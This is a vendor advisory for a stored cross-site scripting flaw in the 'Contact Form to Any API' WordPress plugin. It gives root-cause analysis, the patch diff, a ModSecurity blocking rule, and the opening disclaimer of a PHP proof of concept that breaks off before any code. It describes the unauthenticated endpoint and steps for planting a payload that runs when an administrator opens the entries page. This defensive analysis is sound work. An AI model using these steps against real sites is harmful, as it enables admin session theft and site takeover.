Published : November 24, 2026

CVE-2026-131822: Contact Form to Any API <= 3.0.7 Unauthenticated Stored Cross-Site Scripting via CF7 Form Field Submissions PoC, Patch Analysis & Rule

Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 3.0.7
Patched Version 3.0.8
Disclosed November 19, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-131822: This is an unauthenticated Stored Cross-Site Scripting vulnerability in the Contact Form to Any API WordPress plugin, versions up to and including 3.0.7. The flaw allows an unauthenticated attacker to submit arbitrary HTML/JavaScript through any Contact Form 7 form field. That content is stored by the plugin in its entries database without sanitization and later rendered in the WordPress admin entries table without proper escaping. The CVSS v3.1 score is 7.2 (High). The bug is classified as CWE-79.

Root Cause: The plugin hooks into Contact Form 7 submissions via the public REST feedback endpoint, which uses permission_callback __return_true. In admin/class-cf7-to-any-api-admin.php around line 743 (the mail/entry storage loop), submitted field values are collected into $posted_data and inserted into the entries table via $wpdb->insert. Before the patch, the code only imploded arrays and truncated values to 255 characters; it relied entirely on the admin facing renderer in admin/partials/cf7-to-any-api-admin-entries.php to escape output. However, that renderer path was broken. The vulnerable rendering code around lines 108-130 used wp_kses_post(htmlspecialchars_decode($cf7anyapi_inner_value)) and wp_kses_post(substr(html_entity_decode($cf7anyapi_inner_value), 0, …)). htmlspecialchars_decode() reverted HTML entities that CF7 may have encoded, and wp_kses_post() allows a wide range of HTML attributes and tags. The truncation branch (substr after html_entity_decode) also allowed entities such as ' to be restored into the rendered markup, contributing to the XSS surface. The admin entries list is displayed via jQuery DataTables on the cf7anyapi_entries admin page, so any stored payload executes when an administrator views the entries. The renderer’s reliance on htmlspecialchars_decode plus wp_kses_post rather than esc_html() is the direct sink.

Exploitation: An attacker needs no authentication and no prior interaction. They POST to Contact Form 7’s public REST endpoint, typically /wp-json/contact-form-7/v1/contact-forms/{id}/feedback, with a form submission containing a malicious value in any field (for example your-message). The endpoint returns a 200 response and CF7 fires its submission hooks. The plugin captures all posted fields into $posted_data and writes them into the wp_cf7_to_any_api entries table. When an administrator opens the Contact Form to Any API entries page (admin.php?page=cf7anyapi_entries&post_type=cf7_to_any_api), the malicious HTML is HTML-entity decoded and passed through wp_kses_post(), which permits event handlers in some contexts (e.g., ) and certain tags that could be leveraged for session theft, CSRF to admin actions, or persistence. A typical payload is submitted in a CF7 text area or text field.

Patch Analysis: Version 3.0.8 addresses the issue with defense in depth. First, admin/class-cf7-to-any-api-admin.php gains cf7anyapi_sanitize_entry_value(), which removes HTML tags via wp_strip_all_tags() after wp_pre_kses_less_than() and wp_check_invalid_utf8(). This means submitted content is stored as plain text. Second, the upload-link special case is preserved by parsing only the plugin-generated file link (cf7toanyapi_parse_upload_link()) and rebuilding the anchor from a sanitized filename, so legitimate uploaded-file links still render as links. Third, admin/partials/cf7-to-any-api-admin-entries.php now renders every stored value using esc_html() instead of wp_kses_post(htmlspecialchars_decode(…)), eliminating the HTML sink. The patch also tightens authorization: the cf7_to_any_api post type now uses cf7anyapi_get_post_type_capabilities() with map_meta_cap true, restricting integration management to users who can manage Contact Form 7 forms (publish_pages by default). AJAX handlers verify both the current user’s capability and the target form ownership. The bootstrap file bumps the plugin version to 3.0.8. Bundled Bootstrap JS is removed from admin pages due to a separate CVE (CVE-2018-14041).

Impact: An unauthenticated visitor can plant a stored XSS payload in the plugin’s entries table. When an administrator views the entries page, the script executes in their browser session with full admin privileges. Consequences include full administrator cookie theft and account takeover, CSRF against any admin action via the admin’s session, exfiltration of all form submissions (potentially PII), modification of plugin settings and integrations, and lateral movement to other WordPress admin functions. The vulnerability is exploitable with a single POST and no prior interaction. Combined with the fact that the entries page is a common operational view for site owners, the effective impact is close to full site compromise from an anonymous starting point.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/contact-form-to-any-api/admin/class-cf7-to-any-api-admin.php
+++ b/contact-form-to-any-api/admin/class-cf7-to-any-api-admin.php
@@ -113,23 +113,21 @@
 		if ( isset($_GET['page'], $_GET['post_type']) && sanitize_text_field(wp_unslash($_GET['page'])) === 'cf7anyapi_entries' && sanitize_text_field(wp_unslash($_GET['post_type'])) === 'cf7_to_any_api' ) {
 			wp_enqueue_script('jquery');
 			wp_enqueue_script( $this->plugin_name.'-datatables', plugin_dir_url( __FILE__ ) . 'js/entries/jquery.dataTables.min.js', array( 'jquery' ), '1.10.19', true );
-			wp_enqueue_script( $this->plugin_name.'-bootstrap', plugin_dir_url( __FILE__ ) . 'js/entries/bootstrap.min.js', array( 'jquery' ), '4.0.0', true );
 			wp_enqueue_script( $this->plugin_name.'-buttons', plugin_dir_url( __FILE__ ) . 'js/entries/dataTables.buttons.min.js', array( $this->plugin_name . '-datatables' ), '1.5.2', true );
 			wp_enqueue_script( $this->plugin_name.'-jszip', plugin_dir_url( __FILE__ ) . 'js/entries/jszip.min.js', array(), '3.1.3', true );
 			wp_enqueue_script( $this->plugin_name.'-pdfmake', plugin_dir_url( __FILE__ ) . 'js/entries/pdfmake.min.js', array(), '0.1.36', true );
 			wp_enqueue_script( $this->plugin_name.'-vfs-fonts', plugin_dir_url( __FILE__ ) . 'js/entries/vfs_fonts.js', array( $this->plugin_name . '-pdfmake' ), '0.1.36', true );
 			wp_enqueue_script( $this->plugin_name.'-buttons-html5', plugin_dir_url( __FILE__ ) . 'js/entries/buttons.html5.min.js', array( $this->plugin_name . '-buttons', $this->plugin_name . '-jszip', $this->plugin_name . '-pdfmake' ), '1.5.2', true );
 			wp_enqueue_script( $this->plugin_name.'-buttons-print', plugin_dir_url( __FILE__ ) . 'js/entries/buttons.print.min.js', array( $this->plugin_name . '-buttons' ), '1.5.2', true );
-			wp_enqueue_script($this->plugin_name.'-datatables-bs4', plugin_dir_url(__FILE__) . 'js/entries/dataTables.bootstrap4.min.js', array($this->plugin_name . '-datatables', $this->plugin_name . '-bootstrap'), '1.10.19', true );
+			// Bootstrap's JavaScript is intentionally not loaded (the bundled 4.0.0 had known XSS
+			// issues, CVE-2018-14041); the DataTables Bootstrap 4 integration only needs its CSS.
+			wp_enqueue_script($this->plugin_name.'-datatables-bs4', plugin_dir_url(__FILE__) . 'js/entries/dataTables.bootstrap4.min.js', array($this->plugin_name . '-datatables'), '1.10.19', true );
 			wp_enqueue_script( $this->plugin_name.'-select', plugin_dir_url( __FILE__ ) . 'js/entries/dataTables.select.min.js', array( $this->plugin_name . '-datatables' ), '1.6.1', true );
 			wp_enqueue_script( $this->plugin_name.'-checkboxes', plugin_dir_url( __FILE__ ) . 'js/entries/dataTables.checkboxes.min.js', array( $this->plugin_name . '-datatables' ), '1.2.12', true );
 		}

-		// Doc Page JS
-		// phpcs:ignore WordPress.Security.NonceVerification.Recommended
-		if ( isset($_GET['page'], $_GET['post_type']) && sanitize_text_field(wp_unslash($_GET['page'])) === 'cf7anyapi_docs' && sanitize_text_field(wp_unslash($_GET['post_type'])) === 'cf7_to_any_api' ) {
-			wp_enqueue_script( $this->plugin_name.'-bootstrap', plugin_dir_url( __FILE__ ) . 'js/entries/bootstrap.min.js', array(), '1.2.12', true );
-		}
+		// Doc Page JS: tab switching is handled by js/cf7-to-any-api-admin.js
+		// (Bootstrap's JavaScript is no longer loaded).

 		$data = array(
 	        'cf7_to_any_api_site_url' => site_url(),
@@ -197,8 +195,82 @@
 			'rewrite' => false,
 			'menu_icon' => 'dashicons-smiley',
 			'menu_position' => 31,
+			// Integrations decide where form submissions are sent, so only users who can
+			// manage Contact Form 7 forms (Administrators and Editors by default) may manage them.
+			'map_meta_cap' => true,
+			'capabilities' => self::cf7anyapi_get_post_type_capabilities(),
+		);
+		register_post_type('cf7_to_any_api', $args);
+	}
+
+	/**
+	 * Capability required to create, edit and delete API integrations.
+	 *
+	 * Defaults to the capability Contact Form 7 requires to edit forms
+	 * (WPCF7_ADMIN_READ_WRITE_CAPABILITY, "publish_pages" by default), so that
+	 * users who could manage integrations through Contact Form 7 keep doing so,
+	 * while lower roles (Author, Contributor, Subscriber) cannot.
+	 *
+	 * @since  3.0.8
+	 * @return string
+	 */
+	public static function cf7anyapi_get_manage_capability() {
+		$capability = defined( 'WPCF7_ADMIN_READ_WRITE_CAPABILITY' ) ? WPCF7_ADMIN_READ_WRITE_CAPABILITY : 'publish_pages';
+
+		/**
+		 * Filters the capability required to manage CF7 to Any API integrations.
+		 *
+		 * @since 3.0.8
+		 * @param string $capability Capability name.
+		 */
+		$capability = apply_filters( 'cf7anyapi_manage_capability', $capability );
+
+		return ( is_string( $capability ) && '' !== $capability ) ? $capability : 'manage_options';
+	}
+
+	/**
+	 * Primitive capabilities of the cf7_to_any_api post type.
+	 *
+	 * @since  3.0.8
+	 * @return array
+	 */
+	public static function cf7anyapi_get_post_type_capabilities() {
+		$capability = self::cf7anyapi_get_manage_capability();
+		return array(
+			'edit_posts'             => $capability,
+			'edit_others_posts'      => $capability,
+			'edit_private_posts'     => $capability,
+			'edit_published_posts'   => $capability,
+			'publish_posts'          => $capability,
+			'read_private_posts'     => $capability,
+			'delete_posts'           => $capability,
+			'delete_others_posts'    => $capability,
+			'delete_private_posts'   => $capability,
+			'delete_published_posts' => $capability,
+			'create_posts'           => $capability,
 		);
-		register_post_type('cf7_to_any_api', $args);
+	}
+
+	/**
+	 * Whether the current user may connect an integration to the given CF7 form.
+	 *
+	 * @since  3.0.8
+	 * @param  int $form_id Contact Form 7 form ID.
+	 * @return bool
+	 */
+	public static function cf7anyapi_current_user_can_use_form( $form_id ) {
+		$form_id = absint( $form_id );
+		if ( ! $form_id || 'wpcf7_contact_form' !== get_post_type( $form_id ) ) {
+			return false;
+		}
+		if ( ! current_user_can( self::cf7anyapi_get_manage_capability() ) ) {
+			return false;
+		}
+		if ( ! function_exists( 'wpcf7_map_meta_cap' ) ) {
+			return true;
+		}
+		// Contact Form 7 maps this meta capability to its own capability for the given form.
+		return current_user_can( 'wpcf7_edit_contact_form', $form_id );
 	}

 	/**
@@ -317,8 +389,24 @@
 		if($cf7_to_any_api->post_type == 'cf7_to_any_api'){
 			$status = 'false';
 			if(isset($_POST['cf7_to_any_api_cpt_nonce']) && wp_verify_nonce(sanitize_text_field( wp_unslash( $_POST['cf7_to_any_api_cpt_nonce'] ) ), 'cf7_to_any_api_cpt_nonce')){
+				if ( ( defined( 'DOING_AUTOSAVE' ) && DOING_AUTOSAVE ) || wp_is_post_revision( $cf7_to_any_api_id ) ) {
+					return;
+				}
+				// Authorization: the user must be allowed to edit this integration.
+				if ( ! current_user_can( 'edit_post', $cf7_to_any_api_id ) ) {
+					return;
+				}
+				$options = array();
 				if (isset($_POST['cf7anyapi_selected_form'])) {
 					$options['cf7anyapi_selected_form'] = (int)sanitize_text_field( wp_unslash( $_POST['cf7anyapi_selected_form']) );
+					// Authorization: the user must also be allowed to manage the selected Contact Form 7 form.
+					if ( ! self::cf7anyapi_current_user_can_use_form( $options['cf7anyapi_selected_form'] ) ) {
+						wp_die(
+							esc_html__( 'Sorry, you are not allowed to connect an API integration to this contact form.', 'contact-form-to-any-api' ),
+							esc_html__( 'Not allowed', 'contact-form-to-any-api' ),
+							array( 'response' => 403, 'back_link' => true )
+						);
+					}
 				}
 				if (isset($_POST['cf7anyapi_base_url'])) {
 					$options['cf7anyapi_base_url'] = esc_url_raw(wp_unslash($_POST['cf7anyapi_base_url']));
@@ -498,20 +586,31 @@
 			exit();
 		}

-		// Capability check: require at minimum the ability to edit posts.
-		if ( ! current_user_can( 'edit_posts' ) ) {
+		// Capability check: only users who can manage API integrations.
+		if ( ! current_user_can( self::cf7anyapi_get_manage_capability() ) ) {
 			echo wp_json_encode( __( 'You do not have permission to perform this action.', 'contact-form-to-any-api' ) );
 			exit();
 		}

-		if(empty((int)sanitize_text_field(wp_unslash($_POST['form_id'])))){
+		if( ! isset( $_POST['form_id'] ) || empty((int)sanitize_text_field(wp_unslash($_POST['form_id'])))){
 			echo wp_json_encode(__( 'No Fields Found for Selected Form.', 'contact-form-to-any-api' ));
 			exit();
 		}
 		$html = '';
 		$form_ID     = (int)sanitize_text_field(wp_unslash($_POST['form_id']));
 		$post_id     = isset( $_POST['post_id'] ) ? (int) sanitize_text_field( wp_unslash( $_POST['post_id'] ) ) : 0;
+
+		// The user must be allowed to manage the requested form and, when given, the integration.
+		if ( ! self::cf7anyapi_current_user_can_use_form( $form_ID ) || ( $post_id && ( 'cf7_to_any_api' !== get_post_type( $post_id ) || ! current_user_can( 'edit_post', $post_id ) ) ) ) {
+			echo wp_json_encode( __( 'You do not have permission to perform this action.', 'contact-form-to-any-api' ) );
+			exit();
+		}
+
 		$ContactForm = WPCF7_ContactForm::get_instance($form_ID);
+		if ( ! $ContactForm ) {
+			echo wp_json_encode(__( 'No Fields Found for Selected Form.', 'contact-form-to-any-api' ));
+			exit();
+		}
 		$form_fields = $ContactForm->scan_form_tags();

 		$post_form_id = get_post_meta($post_id,'cf7anyapi_selected_form',true);
@@ -642,10 +741,10 @@
 		if( !empty($cf7files) && get_option('cf7_to_api_entry_hide') != true ) {
 			foreach ($cf7files as $key => $cf7file) {
 				if(!empty($cf7file)){
-					$ext = sanitize_file_name( pathinfo( $cf7file[0], PATHINFO_EXTENSION ) );
+					$ext = self::cf7anyapi_get_safe_upload_extension( $cf7file[0] );
 					// Use a cryptographically random token instead of a predictable
 					// form_id + timestamp pattern to prevent unauthenticated file enumeration.
-					$fileName = 'cf7-' . wp_generate_password( 16, false ) . '.' . $ext;
+					$fileName = 'cf7-' . wp_generate_password( 16, false ) . ( '' !== $ext ? '.' . $ext : '' );
 					copy($cf7file[0], $cf7_uploads_dir.'/'.$fileName);
 					$posted_data[$key] = '<a href="'.wp_upload_dir()['baseurl'] . '/cf7-to-any-api-uploads/'.esc_attr($fileName).'" target="_blank">'.esc_html($fileName).'</a>';
 			    }
@@ -743,9 +842,22 @@
 			$wpdb->insert($table,array('Created' => current_time( 'mysql' )));
 			$data_id = (int)$wpdb->insert_id;

+			$cf7anyapi_object = new Cf7_To_Any_Api();
+
 			foreach($posted_data as $field => $value){
-
-				$posted_value = (is_array($value) ? implode(',',$value) : $value);
+
+				$posted_value = (is_array($value) ? implode(',', array_map('strval', array_filter($value, 'is_scalar'))) : $value);
+				$field        = sanitize_text_field( (string) $field );
+
+				// Store entries as plain text. The only markup kept is the upload link this
+				// plugin generates itself, which is rebuilt from the file name.
+				$upload_link = $cf7anyapi_object->cf7toanyapi_parse_upload_link( $posted_value );
+				if ( $upload_link ) {
+					$posted_value = '<a href="' . esc_url( $upload_link['url'] ) . '" target="_blank">' . esc_html( $upload_link['name'] ) . '</a>';
+				} else {
+					$posted_value = self::cf7anyapi_sanitize_entry_value( $posted_value );
+				}
+
 				if (is_string($posted_value) && strlen($posted_value) > 255) {
 	    			$posted_value = substr($posted_value, 0, 255);
 				}
@@ -765,6 +877,52 @@
 	}

 	/**
+	 * Safe file extension for a copy of an uploaded file.
+	 *
+	 * sanitize_file_name() must not be used on a bare extension: it treats "pdf"
+	 * as a file without a name and returns "unnamed-file.pdf". This keeps only
+	 * letters and digits, and neutralises server-side script extensions as
+	 * defence in depth (Contact Form 7 already renames those).
+	 *
+	 * @since  3.0.8
+	 * @param  string $file_path Path of the uploaded file.
+	 * @return string Lower-case extension without the dot, or '' if none.
+	 */
+	public static function cf7anyapi_get_safe_upload_extension( $file_path ) {
+		$ext = strtolower( preg_replace( '/[^A-Za-z0-9]/', '', (string) pathinfo( (string) $file_path, PATHINFO_EXTENSION ) ) );
+		if ( '' === $ext ) {
+			return '';
+		}
+		if ( preg_match( '/^(phpd*|phtml|phar|pht|phps|cgi|pl|py|asp|aspx|jsp|sh|shtml|htaccess|exe|js|html?|svg)$/', $ext ) ) {
+			$ext .= '_.txt'; // Same format Contact Form 7 uses, e.g. "file.php_.txt".
+		}
+		return $ext;
+	}
+
+	/**
+	 * Sanitize a submitted value before it is stored in the entries table.
+	 *
+	 * Removes HTML tags (like sanitize_textarea_field()) while keeping line breaks,
+	 * a lone "<" character and percent-encoded sequences, so legitimate text is
+	 * stored unchanged.
+	 *
+	 * @since  3.0.8
+	 * @param  mixed $value Submitted value.
+	 * @return string
+	 */
+	public static function cf7anyapi_sanitize_entry_value( $value ) {
+		if ( ! is_scalar( $value ) ) {
+			return '';
+		}
+		$value = wp_check_invalid_utf8( (string) $value );
+		if ( false !== strpos( $value, '<' ) ) {
+			$value = wp_pre_kses_less_than( $value );
+			$value = wp_strip_all_tags( $value, false );
+		}
+		return $value;
+	}
+
+	/**
 	 * Child Fuction of specific form data send to the API
 	 *
 	 * @since    1.0.0
@@ -1162,7 +1320,7 @@
 	        wp_send_json_error( __( 'Security check failed.', 'contact-form-to-any-api' ) );
 	    }

-	    if ( ! current_user_can( 'edit_post', $post_id ) ) {
+	    if ( 'cf7_to_any_api' !== get_post_type( $post_id ) || ! current_user_can( 'edit_post', $post_id ) ) {
 	        wp_send_json_error( __( 'You are not allowed to do this.', 'contact-form-to-any-api' ) );
 	    }

--- a/contact-form-to-any-api/admin/partials/cf7-to-any-api-admin-display-docs.php
+++ b/contact-form-to-any-api/admin/partials/cf7-to-any-api-admin-display-docs.php
@@ -39,7 +39,7 @@
                         <div class="tab-index"></div>
                         <?php esc_html_e( 'CF7 Hidden Fields', 'contact-form-to-any-api' ); ?>
                     </a>
-                    <a class="nav-link tab-index-10" id="v-pills-contact-us-tab" data-toggle="pill" href="#v-pills-contact-us" role="tab" aria-controls="v-pills-contact-us" aria-selected="false">
+                    <a class="nav-link tab-index-8" id="v-pills-contact-us-tab" data-toggle="pill" href="#v-pills-contact-us" role="tab" aria-controls="v-pills-contact-us" aria-selected="false">
                         <div class="tab-index"></div>
                         <?php esc_html_e( 'Contact Us', 'contact-form-to-any-api' ); ?>
                     </a>
--- a/contact-form-to-any-api/admin/partials/cf7-to-any-api-admin-entries.php
+++ b/contact-form-to-any-api/admin/partials/cf7-to-any-api-admin-entries.php
@@ -108,11 +108,23 @@
 												} else if($cf7anyapi_instance->cf7toanyapi_admin_get_field_name($cf7anyapi_value2) == 'submitted_from'){
 													echo '<td data-head="'.esc_attr( $cf7anyapi_instance->cf7toanyapi_admin_get_field_name($cf7anyapi_value2) ).'"><a href="'.esc_url(get_the_permalink($cf7anyapi_inner_value)).'" target="_blank">'.esc_html(get_the_title($cf7anyapi_inner_value)).'</a></td>';
 												} else{
-													$cf7anyapi_inner_values_decoded = wp_kses_post(html_entity_decode($cf7anyapi_inner_value));
-													if(strlen($cf7anyapi_inner_values_decoded) > $cf7anyapi_display_character){
-														echo '<td data-head="'. esc_attr(  $cf7anyapi_instance->cf7toanyapi_admin_get_field_name($cf7anyapi_value2) ).'">'.wp_kses_post(substr(html_entity_decode($cf7anyapi_inner_value), 0, $cf7anyapi_display_character)).'...</td>';
-													}else{
-														echo '<td data-head="'. esc_attr(  $cf7anyapi_instance->cf7toanyapi_admin_get_field_name($cf7anyapi_value2) ).'">'.wp_kses_post( htmlspecialchars_decode( $cf7anyapi_inner_value ) ).'</td>';
+													$cf7anyapi_field_head = $cf7anyapi_instance->cf7toanyapi_admin_get_field_name($cf7anyapi_value2);
+													$cf7anyapi_upload_link = $cf7anyapi_instance->cf7toanyapi_parse_upload_link($cf7anyapi_inner_value);
+
+													if ( $cf7anyapi_upload_link ) {
+														// File uploaded through the form and stored by this plugin as a link.
+														?><td data-head="<?php echo esc_attr( $cf7anyapi_field_head ); ?>">
+															<a href="<?php echo esc_url( $cf7anyapi_upload_link['url'] ); ?>" target="_blank" rel="noopener noreferrer"><?php echo esc_html( $cf7anyapi_upload_link['name'] ); ?></a>
+														</td><?php
+													} else {
+														// Submitted values are untrusted: always print them as plain text.
+														// Entities are decoded first so legacy stored values (e.g. &, ')
+														// display as before; esc_html() then escapes everything again.
+														$cf7anyapi_plain_value = ( ' ' === $cf7anyapi_inner_value ) ? '' : html_entity_decode( (string) $cf7anyapi_inner_value, ENT_QUOTES | ENT_HTML5, 'UTF-8' );
+														if ( mb_strlen( $cf7anyapi_plain_value ) > $cf7anyapi_display_character ) {
+															$cf7anyapi_plain_value = mb_substr( $cf7anyapi_plain_value, 0, $cf7anyapi_display_character ) . '...';
+														}
+														echo '<td data-head="' . esc_attr( $cf7anyapi_field_head ) . '">' . esc_html( $cf7anyapi_plain_value ) . '</td>';
 													}
 												}
 											}//Close foreach
--- a/contact-form-to-any-api/cf7-to-any-api.php
+++ b/contact-form-to-any-api/cf7-to-any-api.php
@@ -1,90 +1,90 @@
-<?php
-if ( ! defined( 'ABSPATH' ) ) exit;
-/**
- * The plugin bootstrap file
- *
- * This file is read by WordPress to generate the plugin information in the plugin
- * admin area. This file also includes all of the dependencies used by the plugin,
- * registers the activation and deactivation functions, and defines a function
- * that starts the plugin.
- *
- * @link              https://www.itpathsolutions.com/
- * @since             1.0.0
- * @package           Cf7_To_Any_Api
- *
- * @wordpress-plugin
- * Plugin Name:       Contact Form to Any API
- * Plugin URI:        https://wordpress.org/plugins/contact-form-to-any-api/
- * Description:       Send Contact Form 7 leads and data to any CRM, Webhook or REST API with flexible payloads, endpoints, and authentication.
- * Version:           3.0.7
- * Author:            IT Path Solutions
- * Author URI:        https://www.itpathsolutions.com/
- * Requires Plugins:  contact-form-7
- * License:           GPL-2.0+
- * License URI:       http://www.gnu.org/licenses/gpl-2.0.txt
- * Text Domain:       contact-form-to-any-api
- * Domain Path:       /languages
- *
- */
-
-// If this file is called directly, abort.
-if ( ! defined( 'WPINC' ) ) {
-	die;
-}
-
-/**
- * Currently plugin version.
- * Start at version 1.0.0 and use SemVer - https://semver.org
- * Rename this for your plugin and update it as you release new versions.
- */
-define( 'CF7_TO_ANY_API_VERSION', '3.0.7' );
-
-define( 'CF7_TO_ANY_API_DB_VERSION', '1.1');
-
-define( 'CF7_CURL_DOMAIN', 'https://www.contactformtoapi.com' );
-
-define( 'CF7_TO_ANY_API_PLUGIN_BASENAME', basename( dirname( __FILE__ ) ) . '/' . basename( __FILE__ ) );
-
-/**
- * The code that runs during plugin activation.
- * This action is documented in includes/class-cf7-to-any-api-activator.php
- */
-function activate_cf7_to_any_api() {
-    require_once plugin_dir_path( __FILE__ ) . 'includes/class-cf7-to-any-api-activator.php';
-    Cf7_To_Any_Api_Activator::activate();
-}
-
-/**
- * The code that runs during plugin deactivation.
- * This action is documented in includes/class-cf7-to-any-api-deactivator.php
- */
-function deactivate_cf7_to_any_api() {
-	require_once plugin_dir_path( __FILE__ ) . 'includes/class-cf7-to-any-api-deactivator.php';
-	Cf7_To_Any_Api_Deactivator::deactivate();
-}
-
-register_activation_hook( __FILE__, 'activate_cf7_to_any_api' );
-register_deactivation_hook( __FILE__, 'deactivate_cf7_to_any_api' );
-
-/**
- * The core plugin class that is used to define internationalization,
- * admin-specific hooks, and public-facing site hooks.
- */
-require plugin_dir_path( __FILE__ ) . 'includes/class-cf7-to-any-api.php';
-
-/**
- * Begins execution of the plugin.
- *
- * Since everything within the plugin is registered via hooks,
- * then kicking off the plugin from this point in the file does
- * not affect the page life cycle.
- *
- * @since    1.0.0
- */
-function run_cf7_to_any_api() {
-
-	$plugin = new Cf7_To_Any_Api();
-	$plugin->run();
-
-}
-run_cf7_to_any_api();
+<?php
+if ( ! defined( 'ABSPATH' ) ) exit;
+/**
+ * The plugin bootstrap file
+ *
+ * This file is read by WordPress to generate the plugin information in the plugin
+ * admin area. This file also includes all of the dependencies used by the plugin,
+ * registers the activation and deactivation functions, and defines a function
+ * that starts the plugin.
+ *
+ * @link              https://www.itpathsolutions.com/
+ * @since             1.0.0
+ * @package           Cf7_To_Any_Api
+ *
+ * @wordpress-plugin
+ * Plugin Name:       Contact Form to Any API
+ * Plugin URI:        https://wordpress.org/plugins/contact-form-to-any-api/
+ * Description:       Send Contact Form 7 leads and data to any CRM, Webhook or REST API with flexible payloads, endpoints, and authentication.
+ * Version:           3.0.8
+ * Author:            IT Path Solutions
+ * Author URI:        https://www.itpathsolutions.com/
+ * Requires Plugins:  contact-form-7
+ * License:           GPL-2.0+
+ * License URI:       http://www.gnu.org/licenses/gpl-2.0.txt
+ * Text Domain:       contact-form-to-any-api
+ * Domain Path:       /languages
+ *
+ */
+
+// If this file is called directly, abort.
+if ( ! defined( 'WPINC' ) ) {
+	die;
+}
+
+/**
+ * Currently plugin version.
+ * Start at version 1.0.0 and use SemVer - https://semver.org
+ * Rename this for your plugin and update it as you release new versions.
+ */
+define( 'CF7_TO_ANY_API_VERSION', '3.0.8' );
+
+define( 'CF7_TO_ANY_API_DB_VERSION', '1.1');
+
+define( 'CF7_CURL_DOMAIN', 'https://www.contactformtoapi.com' );
+
+define( 'CF7_TO_ANY_API_PLUGIN_BASENAME', basename( dirname( __FILE__ ) ) . '/' . basename( __FILE__ ) );
+
+/**
+ * The code that runs during plugin activation.
+ * This action is documented in includes/class-cf7-to-any-api-activator.php
+ */
+function activate_cf7_to_any_api() {
+    require_once plugin_dir_path( __FILE__ ) . 'includes/class-cf7-to-any-api-activator.php';
+    Cf7_To_Any_Api_Activator::activate();
+}
+
+/**
+ * The code that runs during plugin deactivation.
+ * This action is documented in includes/class-cf7-to-any-api-deactivator.php
+ */
+function deactivate_cf7_to_any_api() {
+	require_once plugin_dir_path( __FILE__ ) . 'includes/class-cf7-to-any-api-deactivator.php';
+	Cf7_To_Any_Api_Deactivator::deactivate();
+}
+
+register_activation_hook( __FILE__, 'activate_cf7_to_any_api' );
+register_deactivation_hook( __FILE__, 'deactivate_cf7_to_any_api' );
+
+/**
+ * The core plugin class that is used to define internationalization,
+ * admin-specific hooks, and public-facing site hooks.
+ */
+require plugin_dir_path( __FILE__ ) . 'includes/class-cf7-to-any-api.php';
+
+/**
+ * Begins execution of the plugin.
+ *
+ * Since everything within the plugin is registered via hooks,
+ * then kicking off the plugin from this point in the file does
+ * not affect the page life cycle.
+ *
+ * @since    1.0.0
+ */
+function run_cf7_to_any_api() {
+
+	$plugin = new Cf7_To_Any_Api();
+	$plugin->run();
+
+}
+run_cf7_to_any_api();
--- a/contact-form-to-any-api/includes/class-cf7-to-any-api.php
+++ b/contact-form-to-any-api/includes/class-cf7-to-any-api.php
@@ -353,6 +353,40 @@
 	    return esc_html($field);
 	}

+	/**
+	 * Detect a file-upload link stored by this plugin in the entries table.
+	 *
+	 * Uploaded files are saved in the entries table as
+	 * <a href="{uploads}/cf7-to-any-api-uploads/{file}" target="_blank">{file}</a>.
+	 * Instead of trusting that markup, only the file name is extracted and the
+	 * URL is rebuilt from the current uploads directory, so the value can be
+	 * rendered as a link without printing any stored HTML.
+	 *
+	 * @since  3.0.8
+	 * @param  string $value Stored entry value.
+	 * @return array|false   array( 'url' => string, 'name' => string ) or false.
+	 */
+	public function cf7toanyapi_parse_upload_link( $value ) {
+		if ( ! is_string( $value ) || false === stripos( $value, 'cf7-to-any-api-uploads/' ) ) {
+			return false;
+		}
+
+		if ( ! preg_match( '#^s*<as[^>]*href=(["'])[^"']*/cf7-to-any-api-uploads/([^"'/?#]+)1[^>]*>[^<]*</a>s*$#i', $value, $matches ) ) {
+			return false;
+		}
+
+		$file_name = rawurldecode( $matches[2] );
+		if ( '' === $file_name || sanitize_file_name( $file_name ) !== $file_name ) {
+			return false;
+		}
+
+		$uploads = wp_upload_dir( null, false );
+		return array(
+			'url'  => trailingslashit( $uploads['baseurl'] ) . 'cf7-to-any-api-uploads/' . rawurlencode( $file_name ),
+			'name' => $file_name,
+		);
+	}
+
 	public function cf7toanyapi_field_type_info($fid){

 		if(empty($fid) || !intval($fid)) return ;

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-131822
# The vulnerable sink is the plugin's admin entries page. Submission itself goes through
# Contact Form 7's public REST feedback endpoint, which is identical for legitimate users
# and attackers. We therefore block the stored XSS payload in the CF7 feedback endpoint
# parameters that the plugin records, using XSS detection on the parameter values.
# Legitimate CF7 forms with existing content-security-conscious field names will still
# pass; only request parameters that clearly contain script-capable HTML are rejected.
SecRule REQUEST_URI "@beginsWith /wp-json/contact-form-7/v1/contact-forms/" 
  "id:2026131822,phase:2,deny,status:403,chain,msg:'CVE-2026-131822 CF7 feedback stored XSS attempt via Contact Form to Any API',severity:'CRITICAL',tag:'CVE-2026-131822',tag:'attack-xss'"
  SecRule REQUEST_METHOD "@streq POST" "chain"
    SecRule ARGS_POST "@detectXSS" "t:none,t:urlDecodeUni,t:htmlEntityDecode,setvar:'tx.cve_2026_131822_xss=1'"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
